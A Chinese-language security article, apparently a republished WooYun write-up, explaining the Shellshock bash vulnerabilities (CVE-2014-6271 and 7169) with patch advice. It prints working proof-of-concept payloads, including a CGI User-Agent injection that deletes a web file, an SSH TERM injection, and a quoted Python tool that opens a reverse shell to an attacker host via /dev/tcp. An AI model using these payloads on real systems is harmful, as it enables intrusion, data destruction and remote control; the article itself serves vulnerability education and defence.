<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
    • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/papers/3064

    author: shawn

    0x00 什么是BASH

    Bourne Again Shell(簡稱BASH）是在GNU/Linux上最流行的SHELL實現，于1980年誕生，經過了幾十年的進化從一個簡單的終端命令行解釋器演變成了和GNU系統深 度整合的多功能接口。

    0x01 CVE-2014-6271

    法國GNU/Linux愛好者Stéphane Chazelas于2014年9月中旬發現了著名的SHELL實)的一個漏洞，你可以通過構造環境變量的值來執行你想要執行的腳本代碼，據報道稱，這個漏洞能影響眾多的運行在GNU/Linux上的會跟BASH交互的應用程序，包括:

    在sshd配置中使用了ForceCommand用以限制遠程用戶執行命令，這個漏洞可以繞過限制去執行任何命令。一些Git和Subversion部署環境的限制Shell也會出現類似情況，OpenSSH通常用法沒有問題。

    Apache服務器使用mod_cgi或者mod_cgid，如果CGI腳本在BASH或者運行在子SHELL里都會受影響。子Shell中使用C的system/popen，Python中使用os.system/os.popen，PHP中使用system/exec(CGI模式)和Perl中使用open/system的情況都會受此漏洞影響。

    PHP腳本執行在mod_php不會受影響。 DHCP客戶端調用shell腳本接收遠程惡意服務器的環境變量參數值的情況會被此漏洞利用。

    守護進程和SUID程序在環境變量設置的環境下執行SHELL腳本也可能受到影響。

    任何其他程序執行SHELL腳本時用BASH作為解釋器都可能受影響。Shell腳本不導出的情況下不會受影響。

    OpenSSH, Apache2, php, dhcp client甚至帶SUID的程序。

    1，本地SHELL環境中測試是否有漏洞：

    $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

    如果存在漏洞會打印"vulnerable"。

    2，C程序：

    #!c
-----------------------------------------------------------------------------
/* CVE-2014-6271 + aliases with slashes PoC - je [at] clevcode [dot] org */
#include <unistd.h>
#include <stdio.h>

int main()
{
    char *envp[] = {
        "PATH=/bin:/usr/bin",
        "/usr/bin/id=() { "
        "echo pwn me twice, shame on me; }; "
        "echo pwn me once, shame on you",
        NULL
    };
    char *argv[] = { "/bin/bash", NULL };

    execve(argv[0], argv, envp);
    perror("execve");
    return 1;
}

    測試：

    #!bash
[email protected]:~$ gcc -o bash-is-fun bash-is-fun.c
[email protected]:~$ ./bash-is-fun
pwn me once, shame on you
[email protected]:/home/je$ /usr/bin/id
pwn me twice, shame on me

    這個POC中可以看出BASH根本就沒有去處理結尾，后面我們可以通過補丁來看為什么。

    3，INVISIBLETHREAT上對于HTTP環境的測試：

    創建一個腳本叫poc.cgi:

    #!bash
#!/bin/bash

echo "Content-type: text/html"
echo ""

echo '<html>'
echo '<head>'
echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'
echo '<title>PoC</title>'
echo '</head>'
echo '<body>'
echo '<pre>'
/usr/bin/env
echo '</pre>'
echo '</body>'
echo '</html>'

exit 0

    把腳本放入測試機后，輸入：

    #!bash
$ curl http://192.168.0.1/poc.cgi

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>PoC</title>
</head>
<body>
<pre>
SERVER_SIGNATURE=<address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address>

HTTP_USER_AGENT=curl/7.26.0
SERVER_PORT=80
HTTP_HOST=192.168.0.1
DOCUMENT_ROOT=/var/www
SCRIPT_FILENAME=/var/www/poc.cgi
REQUEST_URI=/poc.cgi
SCRIPT_NAME=/poc.cgi
REMOTE_PORT=40974
PATH=/usr/local/bin:/usr/bin:/bin
PWD=/var/www
[email protected]
HTTP_ACCEPT=*/*
REMOTE_ADDR=192.168.0.1
SHLVL=1
SERVER_NAME=192.168.0.1
SERVER_SOFTWARE=Apache/2.2.22 (Debian)
QUERY_STRING=
SERVER_ADDR=192.168.0.1
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
_=/usr/bin/env
</pre>
</body>
</html>

    再來試試使用curl設置一個user-agent玩玩：

    #!bash
$ curl -A "() { :; }; /bin/rm /var/www/target" http://192.168.0.1/poc.cgi

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>Please contact the server administrator,
[email protected] and inform them of the time the error occurred,
and anything you might have done that may have
caused the error.</p>
<p>More information about this error may be available
in the server error log.</p>
<hr>
<address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address>
</body></html>

    上面已經把/var/www/target給刪除了，再來看看：

    #!bash
$ curl http://192.168.0.1/target

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /target was not found on this server.</p>
<hr>
<address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address>
</body></html>

    這個例子當中，內容被傳入 HTTP_USER_AGENT (CGI 會把HTTP頭當成環境變量解析). 最終變成這樣：

    #!bash
HTTP_USER_AGENT() {
    :;
};
/bin/rm /var/www/target

    應該只解析函數的定義，但是后面的內容仍然執行了。

    4, 針對OpenSSH的POC

    目前有2個攻擊平面，Solar Designer給出了SSH_ORIGINAL_COMMAND的本地利用方法：

    seclists.org/oss-sec/2014/q3/651

    還有就是針對遠程利用的POC，通過利用TERM：

    在機器A上生成一對RSA key pair:

    #!bash
[email protected]:~/.ssh$ ssh-keygen 
Generating public/private rsa key pair.
Enter file in which to save the key (/home/shawn/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/shawn/.ssh/id_rsa.
Your public key has been saved in /home/shawn/.ssh/id_rsa.pub.
The key fingerprint is:
09:1c:92:fb:c5:68:f8:e1:b9:c2:62:a8:c7:75:5b:dc [email protected]
The key's randomart image is:
+--[ RSA 2048]----+
|    ...          |
|    .o .         |
|     ooo         |
|    o +.o.       |
|     = =S.       |
|    . * o E      |
| o o . +         |
|. = o o          |
|oo . .           |
+-----------------+

    把A的公鑰拷貝到機器B上：

    #!bash
$cat /home/shawn/.ssh/authorized_keys
command="/tmp/ssh.sh" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9xYHEdjbbvSO+RAtDS3u+R4sD87SUQq5OZJ+6P5n3BoOz8eKfmK2B4qQa28uGvpseFSSXIoXTKdeS3mCXevbibGG6E3RQ63U7USrh9iQupO6c45Qt+3/WOo7X3mRlZ1awUmCjurcA5Zm/yOvyMJCoRd1kpkiJljgHtMztEhWvAE4inFkqyWC81SSfsvNd/GEiyCpFw84UTdF/cH626V3V73hlxwBMd8UKI27I7ATMOcPgWsI5738tLpgPDSisvZZXZNlxAfvSgpxKYAHOQ9VsaJCG4q+Giob5iX4IDzn8gs8G7uGW+EGhzTMq83f/8ar5a5Ex8Dg9M/loYPIPp5gJ [email protected]

    一個用于控制command/SSH_ORIGINAL_COMMAND的腳本

    #!bash
[email protected]:~/.ssh> cat /tmp/ssh.sh
#!/bin/sh

case "$SSH_ORIGINAL_COMMAND" in
    "ps")
        ps -ef
        ;;
    "vmstat")
        vmstat 1 100
        ;;
    "cups stop")
        /etc/init.d/cupsys stop
        ;;
    "cups start")
        /etc/init.d/cupsys start
        ;;
    *)
        echo "Sorry. Only these commands are available to you:"
        echo "ps, vmstat, cupsys stop, cupsys start"
        #exit 1
        ;;
esac

    機器A上可以正常的使用限制腳本:

    #!bash
[email protected]:~/.ssh$ export SSH_ORIGINAL_COMMAND="ps"
[email protected]:~/.ssh$ ssh  [email protected] $SSH_ORIGINAL_COMMAND
Enter passphrase for key '/home/shawn/.ssh/id_rsa': 
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 16:47 ?        00:00:02 /sbin/init showopts
root         2     0  0 16:47 ?        00:00:00 [kthreadd]
root         3     2  0 16:47 ?        00:00:00 [ksoftirqd/0]

    借助TERM來利用：

    #!bash
[email protected]:~$ export TERM='() { :;}; id'; ssh  [email protected]
Enter passphrase for key '/home/shawn/.ssh/id_rsa': 
uid=1000(shawn) gid=100(users) groups=100(users)
Connection to 192.168.115.129 closed.

    0x02 補丁和后續

    從最早GNU/Linux發行版社區收到的補丁：

    https://bugzilla.novell.com/attachment.cgi?id=606672

    可以看出BASH的確沒有做異常處理，而直接解析后就執行了。

    正式的社區補丁在這里：

    http://ftp.gnu.org/pub/gnu/bash/bash-3.0-patches/bash30-017 http://ftp.gnu.org/pub/gnu/bash/bash-3.1-patches/bash31-018 http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052 http://ftp.gnu.org/pub/gnu/bash/bash-4.0-patches/bash40-039 http://ftp.gnu.org/pub/gnu/bash/bash-4.1-patches/bash41-012 http://ftp.gnu.org/pub/gnu/bash/bash-4.2-patches/bash42-048 http://ftp.gnu.org/pub/gnu/bash/bash-4.3-patches/bash43-025

    但由于補丁修復的不完整，導致了CVE-2014-7169的爆出,POC如下：

    #!bash
[email protected] /tmp $ date -u > test_file
[email protected] /tmp $ env X='() { (a)=<\' bash -c 'test_file cat'
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
Thu Sep 25 09:37:04 UTC 2014

    這個POC可以讓攻擊者能讀文件，看來后續的故事還沒結束...................(Sep 25 13:30 UTC 2014)

    UTC時間2014年9月25日上午，CVE-2014-7169被BASH社區修復，目前主要的GNU/Linux發行版包括Debian, Gentoo, OpenSUSE, CentOS, RHEL都已經提供了相 關的升級。

    2014年9月26日，BASH又爆出了CVE-2014-7186和CVE-2014-7187：

    www.openwall.com/lists/oss-security/2014/09/26/2

    防御方案

    在各種GNU/Linux發行版里需要升級：

    Debian-based（包括Ubuntu）:

    sudo apt-get update && apt-get upgrade

    Gentoo：

    sudo emerge --sync && glsa-check -f affected

    OpenSSH:

    加入no-pty

    后續故事

    這個漏洞引起的故事并沒有因為補丁而結束，因為這個星球上有太多人不會那么care這個漏洞，也就是說他們不會即時的去打補丁，而從攻擊者的一方而言，從漏洞公開已經出現了很多類似：

    ------------------------------------------------------------------------
    #
    #CVE-2014-6271 cgi-bin reverse shell
    #

    import httplib,urllib,sys

    if (len(sys.argv)<4):
            print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]
            print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
            exit(0)

    conn = httplib.HTTPConnection(sys.argv[1])
    reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]

    headers = {"Content-type": "application/x-www-form-urlencoded",
            "test":reverse_shell }
    conn.request("GET",sys.argv[2],headers=headers)
    res = conn.getresponse()
    print res.status, res.reason
    data = res.read()
    print data
------------------------------------------------------------------------

    的工具，Shellshock比heartbleed更容易自動化的去攻擊目標，漏洞本身的特性帶來了最糟糕的情況就是蠕蟲的產生，這種擔心已經得到了證實：

    https://gist.github.com/anonymous/929d622f3b36b00c0be1

    雖然目前的樣本不是蠕蟲，但很明顯，僵尸網絡的狂歡已經開始，從目前樣本的情況看，這是一個有C&C功能的botnet，"她"會先尋找busybox的目標，然后嘗試入侵目標機，之后嘗試提權，這個惡意軟件主要目的是利用肉雞來DDOS，攻擊者的下一個目標將會是WEB。

    通常來講，一個漏洞曝光到自動化利用會在24小時內完成，所以各位抓緊時間打補丁。

    [1] BASH [2] Bash specially-crafted environment variables code injection attack [3] CVE-2014-6271 [4] CVE-2014-7169 [5] CVE-2014-6271: remote code execution through bash

    97av